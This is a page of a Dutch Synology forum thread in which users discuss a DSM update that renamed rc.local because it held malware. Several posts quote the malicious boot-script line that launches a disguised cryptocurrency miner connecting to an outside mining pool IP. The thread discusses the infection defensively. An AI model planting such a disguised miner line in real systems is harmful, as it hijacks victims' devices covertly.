Pagina's: 1 [2]

Auteur Topic: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware  (gelezen 13112 keer)

kuba

  • Gast
Re: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware
« Reactie #15 Gepost op: 24 oktober 2014, 12:32:14 »
Citaat van: Birdy op 24 oktober 2014, 12:20:10
@JSSL
Dan zou ik wel eens willen zien wat er in rc.local.bak staat.

In een draadje ergens hierboven zegt JSSL

Code: [Selecteer]
Dit stond er in de rc.local: /var/run/httpd-log.pid -B -q -o stratum+tcp://93.174.95.67:3340

/var/run/httpd-log.pid is een verwijzing naar Miner software.

Offline Birdy

  • Global Moderator
  • MVP
  • *
  • Bedankjes
  • -Gegeven: 1408
  • -Ontvangen: 8075
  • Berichten: 44.272
    • Truebase
Re: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware
« Reactie #16 Gepost op: 24 oktober 2014, 12:38:58 »
Overheen gekeken dus...  :oops:
DAT is inderdaad een zeer goede reden voor DSM om die te renamen.  8)


CS406      DSM 2.0-0731    DS508      DSM 4.0-2265      DS411+II  DSM 6.2.4-25556-8   DS115J    DSM 7.1.1-42962-7   DS918+    DSM 6.2.4-25556-8
DS107+     DSM 3.1-1639    DS411slim  DSM 6.2.4-25556   DS213J    DSM 6.2.4-25556-7   DS1515+   DSM 6.2.4-25556-8   DS220+    DSM 7.2.2-72806-2
DS107+     DSM 3.1-1639    DS111      DSM 5.2-5967-9    DS413J    DSM 6.2.3-25426-2   DS716+II  DSM 7.2.2-72806-2   RT2600ac  SRM 1.3.1-9346-12
BeeDrive   1TB             BeeStation BSM 1.2-65586                                                                 MR2200ac  SRM 1.3.1-9346-12

Ben(V)

  • Gast
Re: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware
« Reactie #17 Gepost op: 24 oktober 2014, 12:43:37 »
Ben nu wel nieuwsgierig wat hij zou doen als er zowel een bitcone miner als een optware startup in rc.local zou staan.

Overigens blijf ik erbij dat derde partijen niets te zoeken hebben in rc.local
Als je daar iets kunt opstarten zit je heel vroeg in het bootproces en heb je veel te veel mogelijkheden om nare dingen uit te halen.

Is tegenwoordig helemaal niet meer nodig sinds Synology actief het gebruik van externe package ondersteund.

Offline Briolet

  • Global Moderator
  • MVP
  • *
  • Bedankjes
  • -Gegeven: 180
  • -Ontvangen: 2690
  • Berichten: 16.625
Re: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware
« Reactie #18 Gepost op: 24 oktober 2014, 12:57:15 »
Citaat van: kuba op 24 oktober 2014, 12:02:53
ik zag dit bericht een tikkeltje laat, maar ik moet hier even opmerken dat /etc/rc.local op zich geen ongebruikelijk iets is.

Misschien niet ongebruikelijk, maar bij TS staat er:
Citaat
/var/run/httpd-log.pid -B -q -o stratum+tcp://93.174.95.67:3340

En vooral de link naar: 93.174.95.67 is verdacht. En als ik dat IP bekijk, dan behoort hij tot :"Ecatel Ltd, P.o.box 19533, 2500 Cm Den Haag, Netherlands"

Ik weet niet wat dat voor firma is, maar van de laatste 5 SSH aanvallen op mijn NAS kwamen er 3 vanaf een IP adres dat tot Ecatel behoort. (Ik heb al 3 IP reeksen van die firma geblokkeerd).
  • Mijn Synology: DS415+
  • HDD's: 3x 3TB in SHR
  • Extra's: DS212J, RT1900ac

kuba

  • Gast
Re: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware
« Reactie #19 Gepost op: 24 oktober 2014, 13:02:02 »
Citaat van: Ben(V) op 24 oktober 2014, 12:43:37
Ben nu wel nieuwsgierig wat hij zou doen als er zowel een bitcone miner als een optware startup in rc.local zou staan.

Overigens blijf ik erbij dat derde partijen niets te zoeken hebben in rc.local
Als je daar iets kunt opstarten zit je heel vroeg in het bootproces en heb je veel te veel mogelijkheden om nare dingen uit te halen.

Is tegenwoordig helemaal niet meer nodig sinds Synology actief het gebruik van externe package ondersteund.


Als een check wordt gedaan op de aanwezigheid van de string httpd-log.pid in het bestand, wordt de rc.local aan de kant gezet, ongeacht wat er verder nog in staat, want zo belangrijk is dat bestand verder niet.

Ik vind je overweging m.b.t. wel of niet rc.local op een Syno eerlijk gezegd verder niet zo spannend.
Ik maak me er meer zorgen over dat een externe partij in staat is om root te krijgen op een Syno systeem, want dan kan je overal en altijd grapjes uithalen, niet alleen in de /etc/rc.local.


kuba

  • Gast
Re: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware
« Reactie #20 Gepost op: 24 oktober 2014, 13:03:51 »

Citaat van: kuba op 24 oktober 2014, 12:02:53
ik zag dit bericht een tikkeltje laat, maar ik moet hier even opmerken dat /etc/rc.local op zich geen ongebruikelijk iets is.

Niet ongebruikelijk, maar bij TS staat er:
Citaat
/var/run/httpd-log.pid -B -q -o stratum+tcp://93.174.95.67:3340

ja Briolet, dat had ik gezien.  :idea:

Offline JSSL

  • Bedankjes
  • -Gegeven: 9
  • -Ontvangen: 9
  • Berichten: 172
Re: Update naar 5.0-4528 rc.local renamed naar rc.local.bak vanwege malware
« Reactie #21 Gepost op: 24 oktober 2014, 13:11:36 »
@Birdy, zie de 3e post van dit topic. ;)
  • Mijn Synology: Ds1618+
  • HDD's: 6x WD 8tb
Pagina's: 1 [2]
 

firmware update DS108J

Gestart door jhcernstBoard Synology DSM algemeen

 Reacties: 2
Gelezen: 2652 		Laatste bericht 11 februari 2009, 19:52:17
door jhcernst
Kan DiskStation niet benaderen via internet explorer na update DSM 4.3

Gestart door rbeekhoffBoard Synology DSM 5.1 en eerder

 Reacties: 4
Gelezen: 3608 		Laatste bericht 28 augustus 2013, 19:08:33
door Raymonddeniet
pakketupdate van 6 juni vereist ook nieuwe update definities

Gestart door LarrvyllBoard Antivirus Essential

 Reacties: 3
Gelezen: 5280 		Laatste bericht 06 juni 2016, 14:18:51
door Briolet
Time Machine probleem na update MacOS Sierra

Gestart door nessaalkBoard Mac OS X

 Reacties: 10
Gelezen: 5422 		Laatste bericht 01 november 2016, 07:00:30
door m4v3r1ck
SabNZB werkt na update DSM nog steeds niet.

Gestart door gobiuspictusBoard SABnzbd (usenet)

 Reacties: 5
Gelezen: 2318 		Laatste bericht 19 januari 2017, 21:16:48
door Birdy